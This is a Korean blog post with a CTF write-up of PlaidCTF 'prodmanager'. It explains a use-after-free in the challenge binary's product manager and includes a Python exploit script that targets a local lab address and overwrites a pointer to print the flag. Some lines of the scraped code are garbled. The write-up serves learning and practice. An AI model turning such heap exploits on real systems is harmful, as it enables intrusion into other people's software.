ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Plaid ctf prodmanager
    CTF&Wargame/ETC 2017.01.16 05:27

    보호 기법은 NX와 ASLR이 걸려있다.


    프로그램 실행모습


    1 제품 생성

    2 제품 삭제

    3 제품 매니저에 등록

    4 제품 매니저에서 가격이 제일 낮은거 3개 출력 후 삭제

    5 프로파일 보여주기


    메인 부분 - 입력한 것을 스위치 구문으로 표시했다.


    제품명과 가격을 적고 malloc으로 76만큼 할당한 곳에 복사하고 링크드리스트를 설정한다.


    제품을 3개 등록해야하니

    3개 등록하고 매니저에도 ADD해서 4번으로한번보면

    위처럼 나오게 된다.


    이 때 매니저에 등록하고 2번으로 지우게 되면 위처럼 가격이 바뀌는걸 볼 수 있다.


    그리고 2번에서 free한 것을 5번에서 다시 malloc 하기 때문에

    use-after-free 취약점이 발생한다. 


    create에서 malloc을 한 후 이 함수를 호출하는데

    나머지를 0으로 초기화하고 제품이름과 가격을 설정한다.




    이부분에서 v1에서 상품의 주소를 리턴하는데

    그 값을 출력한다. 이부분을 바꾸면 플래그를 볼 수 있는 것이다.


    1 상품 3개 생성

    2 상품 3개 등록

    3 상품 제거

    4 프로파일 생성

    5 낮은 가격 3개 상품 출력


    이런식으로 지운곳에 5에서 입력한 값이 들어가게된다.


    그럼 저부분에 플래그의 주소를 넣어보자


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    from struct import *
    from socket import *
    from time import sleep
     
    = lambda x: pack("<L", x)
     
    = socket(AF_INET, SOCK_STREAM)
    s.connect(("192.168.153.139"3722))
     
    def all(name, price, num):
        if num == "1":
            s.send(num+"\n")
            s.recv(1024)
            s.send(name+"\n")
            s.recv(1024)
            s.send(price+"\n")
     
        elif num == "2":
            s.send(num+"\n")
            s.recv(1024)
            s.send(name+"\n")
            sleep(0.3)
            s.recv(1024)
            sleep(0.3)
            s.recv(1024)
     
     
        elif num == "3":
            s.send(num+"\n")
            s.recv(1024)
            s.send(name+"\n")
            s.recv(1024)
     
        elif num == "4":
            s.send(num+"\n")
            sleep(0.1)
            data = s.recv(512)
            data = data.split("\n\n\n")
            print data[0]
     
        else:
            s.send(num+"\n")
            sleep(0.3)
            s.recv(1024)
            payload = p(0000)*5
            payload += p(0x804C3E0-24)
            s.send(payload+"\n")
            s.recv(1024)
            s.recv(1024)
     
    sleep(0.3)
    s.recv(1024)
    all("AAAA""1111""1")
    all("BBBB""1111""1")
    all("CCCC""1111""1")
     
    all("AAAA", None, "3")
    all("BBBB", None, "3")
    all("CCCC", None, "3")
    all("BBBB", None, "2")
     
    all(None, None, "5")
    all(None, None, "4")
     
    s.close()
    cs

    소스 코드는 이렇게 짰다.

    지금보니깐 소스도 드럽게 못짰네


    이번꺼는 문제를 잘못 선택한거같다. 저 payload 부분에서 4씩 플러스 마이너스 하다가 겨우 되기했지만......

    너무 어려워서 풀이를 참고했는데도 완벽히 이해를 못했다.

    힙공부를 하고 다시 제대로 풀어야지


    참고 풀이 출처-http://kikisctf.blogspot.kr/2015/06/plaidctf-quals-2015-prodmanager.html






    'CTF&Wargame > ETC' 카테고리의 다른 글

    BITSCTF Riskv and Reward  (0) 2017.02.05
    insomnihack CTF bender_safe  (0) 2017.01.22
    Plaid ctf prodmanager  (0) 2017.01.16
    codegate 2014 angry doraemon  (0) 2017.01.15
    Warm-Heap  (0) 2017.01.15
    codegate 2014 nuclear  (0) 2017.01.13

    댓글 0

Designed by Tistory.